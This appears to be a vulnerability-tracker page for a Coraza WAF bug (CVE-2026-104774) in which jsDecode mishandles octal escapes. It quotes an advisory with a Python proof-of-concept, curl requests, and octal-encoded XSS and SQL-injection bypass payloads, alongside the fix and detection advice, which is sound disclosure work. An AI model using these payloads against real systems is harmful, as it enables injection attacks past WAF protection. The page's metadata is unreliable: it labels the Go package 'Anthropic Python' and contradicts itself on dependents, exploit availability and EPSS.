CVE-2026-104774: Coraza WAF: octal jsDecode bug lets payloads bypass rules

GHSA-pc5q-qfxp-ggqvMEDIUMCISA: TRACK*
Published October 8, 2026
CISO Take

Coraza WAF's `t:jsDecode` transformation has an off-by-one error that turns every JavaScript octal escape (`\163` and similar) into a null byte, so attackers can hide XSS or SQL injection payloads from any rule that relies on that normalization. This is a WAF-bypass flaw rather than a direct compromise: the protected application must still be vulnerable to the hidden payload, which is why CVSS rates it Medium (5.8). The Go module has 6,147 dependents and covers v3.0.0 through v3.7.x, so the blast radius is wide, including AI gateways and LLM API front ends that rely on Coraza with OWASP CRS. No exploitation in the wild is reported (not in CISA KEV, no public exploit or scanner template, EPSS not yet available), but the PoC is trivial to reproduce. Upgrade to github.com/corazawaf/coraza/v3 v3.8.0 and review whether back-end apps depend on the WAF as their only injection defense.

Sources:NVDGitHub AdvisoryATLAS

What is the risk?

Medium overall (CVSS 3.1: 5.8, S:C/I:L). Exploitation is trivial: an unauthenticated remote attacker URL-encodes a payload with octal escapes in a request parameter. Impact is limited to defeating inspection, so risk depends on the weakness of the protected application. Exposure is highest for internet-facing AI endpoints (LLM gateways, model-serving APIs, chat UIs, admin consoles) that use Coraza with CRS as a compensating control. No known active exploitation, KEV listing, or public exploit.

How does the attack unfold?

Initial Access
Attacker sends an unauthenticated HTTP request to an AI service behind Coraza with payload encoded as JavaScript octal escapes.
AML.T0049
Defense Evasion
Coraza's jsDecode turns the octal sequences into null bytes, so CRS rules fail to match and the request is not blocked.
AML.T0107
Impact
The backend or browser decodes the real payload, enabling XSS, SQL injection, or other injection against the AI application.

What systems are affected?

PackageEcosystemVulnerable RangePatched
Anthropic Pythongo>= 3.0.0, < 3.8.03.8.0
4.0K5.4K dependentsPushed 8d ago93% patched~9d to patchFull package profile →

Do you use Anthropic Python? You're affected.

How severe is it?

CVSS 3.1
5.8 / 10
EPSS
0.3%
chance of exploitation in 30 days
Higher than 25% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
○CISA SSVC: Public PoC
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AVACPRUISCIA
AVNetwork
ACLow
PRNone
UINone
SChanged
CNone
ILow
ANone

What should I do?

1 step
  1. 1) Upgrade github.com/corazawaf/coraza/v3 to v3.8.0 or later and rebuild/redeploy every binary or proxy that embeds it (check go.mod and SBOMs, including transitive use via plugins). 2) If upgrading is not immediately possible, apply the documented patch in internal/transformations/js_decode.go (use input[i+1+j] and ParseUint) in a vendored build. 3) Do not rely on the WAF as the only control: enforce output encoding, parameterized queries, and input validation in AI front ends and APIs. 4) Detection: search access logs for requests with repeated backslash-digit sequences (%5C followed by 1-3 octal digits) in query strings and bodies, and for requests returning 200 where CRS XSS/SQLi rules would normally fire. 5) Add regression tests with octal-encoded payloads to WAF validation suites.

What does CISA's SSVC say?

DecisionTrack*
Exploitationpoc
AutomatableYes
Technical Impactpartial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15-Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.6-AI system operation and monitoring
NIST AI RMF
MANAGE 2.3-Responses to unknown or identified risks
OWASP LLM Top 10
LLM05-Improper Output Handling

Frequently Asked Questions

What is CVE-2026-104774?

Coraza WAF's `t:jsDecode` transformation has an off-by-one error that turns every JavaScript octal escape (`\163` and similar) into a null byte, so attackers can hide XSS or SQL injection payloads from any rule that relies on that normalization. This is a WAF-bypass flaw rather than a direct compromise: the protected application must still be vulnerable to the hidden payload, which is why CVSS rates it Medium (5.8). The Go module has 6,147 dependents and covers v3.0.0 through v3.7.x, so the blast radius is wide, including AI gateways and LLM API front ends that rely on Coraza with OWASP CRS. No exploitation in the wild is reported (not in CISA KEV, no public exploit or scanner template, EPSS not yet available), but the PoC is trivial to reproduce. Upgrade to github.com/corazawaf/coraza/v3 v3.8.0 and review whether back-end apps depend on the WAF as their only injection defense.

Is CVE-2026-104774 actively exploited?

No confirmed active exploitation of CVE-2026-104774 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-104774?

1) Upgrade github.com/corazawaf/coraza/v3 to v3.8.0 or later and rebuild/redeploy every binary or proxy that embeds it (check go.mod and SBOMs, including transitive use via plugins). 2) If upgrading is not immediately possible, apply the documented patch in internal/transformations/js_decode.go (use input[i+1+j] and ParseUint) in a vendored build. 3) Do not rely on the WAF as the only control: enforce output encoding, parameterized queries, and input validation in AI front ends and APIs. 4) Detection: search access logs for requests with repeated backslash-digit sequences (%5C followed by 1-3 octal digits) in query strings and bodies, and for requests returning 200 where CRS XSS/SQLi rules would normally fire. 5) Add regression tests with octal-encoded payloads to WAF validation suites.

What systems are affected by CVE-2026-104774?

This vulnerability affects the following AI/ML architecture patterns: LLM API gateways, Model serving endpoints, AI web applications and chat UIs, ML ops dashboards, Reverse proxies with embedded WAF.

What is the CVSS score for CVE-2026-104774?

CVE-2026-104774 has a CVSS v3.1 base score of 5.8 (MEDIUM). The EPSS exploitation probability is 0.32%.

What is the AI security impact?

Affected AI Architectures

LLM API gatewaysModel serving endpointsAI web applications and chat UIsML ops dashboardsReverse proxies with embedded WAF

MITRE ATLAS Techniques

AML.T0049Exploit Public-Facing Application
AML.T0068LLM Prompt Obfuscation
AML.T0107Exploitation for Defense Evasion

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.6.2.6
NIST AI RMF: MANAGE 2.3
OWASP LLM Top 10: LLM05

What are the technical details?

Original Advisory

### Summary The `t:jsDecode` transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing `strconv.ParseInt` to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on `jsDecode` for normalization are enabled. Therefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (`\ooo`) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected. ### Details Vulnerable code: `internal/transformations/js_decode.go:64-70.` ```go case (i+1 < inputLen) && isodigit(input[i+1]): /* \OOO (only one byte, \000 - \377) */ buf := make([]byte, 3) j := 0 for (i+1+j < inputLen) && (j < 3) { buf[j] = input[i+j] // this should be `input[i+1+j]` j++ if !isodigit(input[i+j]) { break } } ``` This is because, when entering octal mode, the loop variable `i` points to the backslash character `\`. Before entering octal mode, the pointer **does not** cross the backslash (unlike in the `\u` and `\x` cases, where `i+N` is used as the index). Line 65 uses `input[i+j]`, so when `j=0`, the backslash character itself is copied to `buf[0]`. The subsequent call to `strconv.ParseInt(string(buf), 8, 8)` will fail because `\` is not a valid octal digit; it therefore returns `0` and raises an error (which is silently suppressed by `_`), resulting in the loss of the bytes that were supposed to be decoded. For example, Input `\163`. The loop starts with `j=0`: `buf[0] = input[i+0] = ‘\’ ` (the backslash itself). The counter `j` is incremented to 1. Since `isodigit(input[i+1]) = isodigit(‘1’)` is true, the loop continues. When `j=1`: `buf[1] = input[i+1] = ‘1’`. The counter increments to 2; `isodigit(input[i+2]) = isodigit(‘6’)` is true. At this point, `j = 2`: `buf[2] = input[i+2] = ‘6’`. The counter increments to 3, at which point the loop condition `j < 3` is no longer satisfied. Final buffer: `buf = [‘\’, ‘1’, ‘6’]`. The buffer is truncated when `j = 2` (because `buf[0] = ‘\’ > ‘3’`), leaving `[‘\’, ‘1’]`. This error affects all octal escape sequences (from `\000` to `\377`). Each sequence is decoded and displayed as `0x00` instead of the expected value. For example: `\377` is normally decoded as `\xff` or 255 ```go // Bug: buf = ['\', '3', '7'] to string(buf) = "\\37" nn, _ = strconv.ParseInt("\\37", 8, 8) // nn = 0 // Correct: buf = ['3', '7', '7'] = "377" nn, _ = strconv.ParseInt("377", 8, 8) // nn = 255 = 0xFF ``` ### PoC #### Test Environment Coraza WAF v3.7.0 is configured to `127.0.0.1:8090`, `SecRuleEngine` is set to `On`, `SecRequestBodyAccess` is set to `On`, and the complete OWASP CRS rule set has been loaded. #### PoC Executable Script ```python #!/usr/bin/env python3 import urllib.request, sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8090" normal_url = f"{TARGET}/?q=%3Cscript%3E" octal_url = f"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E" print(f"[Normal XSS: {normal_url}") try: urllib.request.urlopen(normal_url) print(" Response: 200 ") except urllib.error.HTTPError as e: print(f" Response: {e.code}") print(f"\nBypass JS octal-escaped XSS: {octal_url}") try: urllib.request.urlopen(octal_url) print(" Response: 200 (BYPASS)") except urllib.error.HTTPError as e: print(f" Response: {e.code}") ``` output: ``` Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E Response: 403 Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E Response: 200 (BYPASS) ``` #### Proof - Normal Test ```bash curl -v -s "http://127.0.0.1:8090/?q=%3Cscript%3E" < HTTP/1.1 403 Forbidden < Date: Wed, 01 Jul 2026 16:09:04 GMT ``` - Bypass Test ``` curl -v -s "http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E" < HTTP/1.1 200 OK < Date: Wed, 01 Jul 2026 16:09:04 GMT < Content-Length: 39 < Hello world, transaction not disrupted. ``` - Log Proof ``` 2026/07/01 16:09:04 [DEBUG] Transaction finished tx_id="<txid>" is_interrupted=false ``` ### Impact Attackers can bypass WAFs that rely on the `t:jsDecode` transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities. #### Real-world attack scenarios: **SQL injection bypass.** A rule using `t:jsDecode` received `\47\117\122\40\61\75\61` (i.e., `' OR 1=1`). This octal string decodes to `\0...`, so the rule did not match the SQL injection pattern. ### Affected Versions Coraza WAF v3.0.0 - v3.7.0 ### Resolution Fixed in `internal/transformations/js_decode.go`'s `\OOO` octal branch, plus two related issues found and fixed while verifying the patch — the actual shipped fix is broader than the single-line change originally proposed: 1. **The reported off-by-one** (`buf[j] = input[i+j]` → `buf[j] = input[i+1+j]`, with the digit-continuation check updated to `input[i+1+j]` accordingly): confirmed and fixed exactly as described above. 2. **A related high-byte clamping bug in the same branch**: the decoded value was parsed with `strconv.ParseInt(string(buf), 8, 8)` — a *signed* 8-bit parse. Octal values `\200`-`\377` (decimal 128-255) exceed the signed int8 range, so even after fixing the indexing bug, those high bytes would still fail to parse and clamp to `0x7f` instead of their real value. Fixed by parsing as unsigned (`strconv.ParseUint(string(buf), 8, 8)`), so the full `\000`-`\377` range decodes correctly. 3. **A related overflow-saturation bug in the sibling `escapeSeqDecode` transformation** (`internal/transformations/escape_seq_decode.go`), discovered while auditing the same octal-parsing pattern elsewhere in the codebase. Unlike `jsDecode`, `escapeSeqDecode`'s indexing was already correct, but it parsed octal values with `strconv.ParseUint(input[i+1:i+j], 8, 8)` — an 8-bit-wide unsigned parse. Since up to 3 octal digits are consumed (`\0`-`\777`, i.e. up to decimal 511), any value above `\377` (255) overflows 8 bits, causing `strconv.ParseUint` to return an error and a saturated value of `0xFF` for every one of those escapes, rather than correctly wrapping to its low byte (mirroring ModSecurity's `strtol(...) & 0xFF` reference behavior). Fixed by widening the parse to 16 bits (`strconv.ParseUint(input[i+1:i+j], 8, 16)`) before truncating to a byte, so `\400`-`\777` now wrap to their correct low-byte value instead of all saturating to `0xFF`. Verified end-to-end: both PoC payloads from this report now decode correctly — `<\163\143\162\151\160\164>` → `<script>`, and `\47\117\122\40\61\75\61` → `'OR 1=1` — so a downstream WAF rule inspecting the transformed value now sees the real, intended content instead of null bytes or clamped/saturated garbage. Extensive regression tests were added covering the full octal range (including the `\200`-`\377` high-byte range and the `\400`-`\777` overflow range for `escapeSeqDecode`), the pre-existing digit-count/truncation edge cases, and both PoC payloads verbatim. ### Mitigation Upgrade to the patched release once available. If upgrading isn't immediately possible, the specific code change is: ```go for (i+1+j < inputLen) && (j < 3) { buf[j] = input[i+1+j] j++ if i+1+j >= inputLen || !isodigit(input[i+1+j]) { break } } ... nn, _ := strconv.ParseUint(string(buf), 8, 8) ``` ### Severity (revised 2026-10-02) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium). Attack Complexity is Low: JavaScript engines decode legacy octal escapes in non-strict string literals (ECMAScript Annex B), the standard behaviour `jsDecode` emulates, so the request alone triggers the discrepancy. The previous vector (`S:U/C:L/I:L`, 6.5) scored Confidentiality and Integrity separately for what is a single inspection bypass. Impact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately. _AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, "CVSS preconditions get verified, not copied from the report") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._

Exploitation Scenario

An attacker targets an internet-facing LLM chat or model-management web UI protected by Coraza with OWASP CRS. They discover that a plain `<script>` payload gets a 403, then resend it as `<%5C163%5C143%5C162%5C151%5C160%5C164>` so the WAF decodes it to null bytes and passes the request. The backend or browser interprets the octal escapes, and the payload executes as stored or reflected XSS or reaches an injectable query, letting the attacker hijack sessions of ML operators or tamper with application data.

Weaknesses (CWE)

CWE-172 — Encoding Error: The product does not properly encode or decode the data, resulting in unexpected values.

  • [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
  • [Implementation] While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

Timeline

Published
October 8, 2026
Last Modified
October 13, 2026
First Seen
October 8, 2026

Related Vulnerabilities